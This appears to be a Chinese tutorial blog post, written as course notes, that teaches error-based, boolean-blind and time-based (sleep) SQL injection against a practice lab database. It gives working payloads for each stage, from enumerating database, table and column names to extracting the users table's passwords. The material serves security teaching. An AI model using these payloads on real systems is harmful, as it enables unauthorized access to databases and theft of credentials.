HCIE(6)——SQL注入(报错型注入、布尔型盲注、时间型盲注)

一、报错型SQL注入

报错型SQL注入与SQL注入的前三步是一致的,但是数据没有回显位,也就是说即使构造语句成功我们也没有办法看到数据的显示。但是如果SQL语句出现错误可以回显在页面上,我们就可以利用这点来构造报错显示的SQL语句。
下面是利用count(*),FLOOR(RAND(0)*2),group by报错

 AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)  //库名

AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘security’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)  //表名

AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'users' and table_schema = 'security' LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)  //列名

AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) //数据(这个构造数 据只能一个一个爆出来,通过limit函数控制)

1、我们可以 来进行一下测试,找到一个符合要求的测试页面
在这里插入图片描述
1)判断提交变量的数据类型
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
测试发现当输入and 1=1 和 and 1=0 时,页面一直显示You are in……,也就是说前面没有成功构造闭合。

2)构造闭合
经过测试发现它构造的闭合为 ’
在这里插入图片描述
在这里插入图片描述
经过一番测试后,发现这个页面的闭合为 ’ ,而且就算是闭合成功也不会回显,但是报错的时候会出现提示,满足前提条件。

2、利用count(*),FLOOR(RAND(0)*2),group by报错回显来获取信息
1)得到库名

 AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)    //库名

在这里插入图片描述
2)得到表名

AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘security’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)    //表名

在这里插入图片描述

3)得到表user的列名

AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'users' and table_schema = database() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)   //列名

在这里插入图片描述
4)显示user表下password列下的内容

 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) //数据(这个构造数 据只能一个一个爆出来,通过limit函数控制)

在这里插入图片描述

二、布尔型SQL盲注

布尔型盲注是由于页面提交数据在与数据交互是完全没有在页面上出现回显数据,只会出现数据提交正确和错误俩种不同页面(报错型至少语法错误会回显错误在页面上)或者无法使用联合查询。 注意前三个步骤还是前面一样的至少需要构造出闭合 布尔型是利用页面至少会呈现正确提交和错误提交俩种不同回馈,来构造sql语句逐个猜测数据库中内 容。
例如:一个人不说话,如果你说对了他就点头,如果你说错了他就摇头。理解以下场景:

菜鸟:“大佬,你是不姓张?”
不说话的大佬:摇头ing
菜鸟:“我知道了,大佬你姓王是不是?”
不说话的大佬:欣慰的点头ing
菜鸟自语:“原来大佬姓王啊” 
然后菜鸟开始了新一轮的猜测问答
以上就是布尔型盲注的原理。

我们需要用到的函数主要有:

Length()//返回字符串的长度 Length(abc)返回3,表示abc字符串长度为3
Substr()//截取字符串 Stbstr(abc,1,1) 返回a,从abc的第一位开始截,步长为1
mid() //取出字符串的一部分值 mid(abc,1,1) 返回a,从abc的第一位开取,步长为1.与substr() 用法一致
left() //取出字符串左边的几个数据 left(abc,1) 返回a left(abc,2) 返回ab
right()  //取出右边的几个数据 right(abc,1) 返回c right(abc,2) 返回bc
ord()与ascii()//十进制编码  ascii()//返回一个字符的ascii码值 ascii(s) 返回114
hex() //返回16进制数编码

1、选取一个满足布尔型盲注的场景
在这里插入图片描述
1)构造判断语句
在这里插入图片描述
2)判断是否满足要求场景
在这里插入图片描述
在这里插入图片描述
经过测试后,我们发现闭合方式为 ’ 。同时它只显示正确和错误两种形式,满足场景需求。

2、构造暴库语句
1)判断数据库名的长度,建议使用二分法来进行

id=1' and length(database())>1 --+ //1这个数字大小来判断库名长度

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

所以,可以判断得到数据库名长度为8。

2)判断数据库名

id=1' and ascii(substr(database(),1,1)) > 1 --+ //增加1这个数据来判断数据库名的第一个字母 ascii值大小,参考码表
   码表可以参考https://tool.oschina.net/commons?type=4

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

由此,可以判断出数据库名的第一个字母的十进制ASCII为115,也就是字母s
在这里插入图片描述
同理可得第2、3、4、…、8个字母分别为e、c、u、r、i、t、y。最后得到数据库名为security。

3)判断表名

id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),11))>1 --+ //表名

4)判断列名

id =1 and ascii(substr((select column_name from information_schema. columns where TABLE_name = 'your table' and table_schema = '库名' limit 0,1),11))>1  //列名

5)爆值

id=1 and ascii(substr((select ’列名‘ from '表名' limit 0,1),11))>1 //爆值

三、时间型SQL盲注

时间型注入遇到的条件更为苛刻,数据交互完成以后 目标网站没有正确或错误的回显,这种情况,我们可以利用时间函数来判断数据有没有在目标函数中执行。当然也需要先构造出闭合。

利用的函数:

lenght() 
ascii() 
mid() 
substr() 
hex() //以上在布尔型中介绍过 sleep() //时间注入的核心函数 sleep(1) //1秒响应
if()函数 
if(1=134 返回 3 
if(1=234 返回 4

构造判断语句

id=1' and if(1=2,1, sleep(10)) --+ 
id=1" and if(1=2,1, sleep(10)) --+
id=1) and if(1=2,1, sleep(10)) --+

1、选取场景(要求:没有回显,输入不管对错都只是一种情况)
在这里插入图片描述
首先构造闭合
由于不会发生回显,页面一直是You are in……,所以,我们需要借助sleep()函数来判断闭合类型。
①判断是不是 " 闭合,会发现页面没有出现什么情况
在这里插入图片描述
②判断是不是 ’ 闭合,发现页面出现了5秒左右的延迟
在这里插入图片描述
在这里插入图片描述
所以,可以判断出闭合方式为 ’ 。

2、构造暴库语句
1)猜测库名的长度(方法与布尔型盲注基本类似,只不过将页面显示的不同,变为到底有没有休眠时间)

id=1 and if((length(database())>1),sleep(4),0) --+ //增加1值来猜库名的长度

在这里插入图片描述
在这里插入图片描述
即可判断出数据库名长度为8。

2)猜测数据库名字
方法类似,只不过是将布尔型盲注的语句放到了if语句中

id=1' and if(ascii(substr(database(),1,1))>1,sleep(4),0) --+ //库名

在这里插入图片描述
在这里插入图片描述
可以判断出库名首字母为s

……

3)猜表名

id 1 and if((ascii(substr((select column_name   from information_schema. columns where TABLE_name = 'your table' and table_schema = database() limit 0,1),1,1)) > 1),sleep(4),0 )--+ //表名

方法类似,这儿就不一一演示了!

三种SQL注入方法就演示完了!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值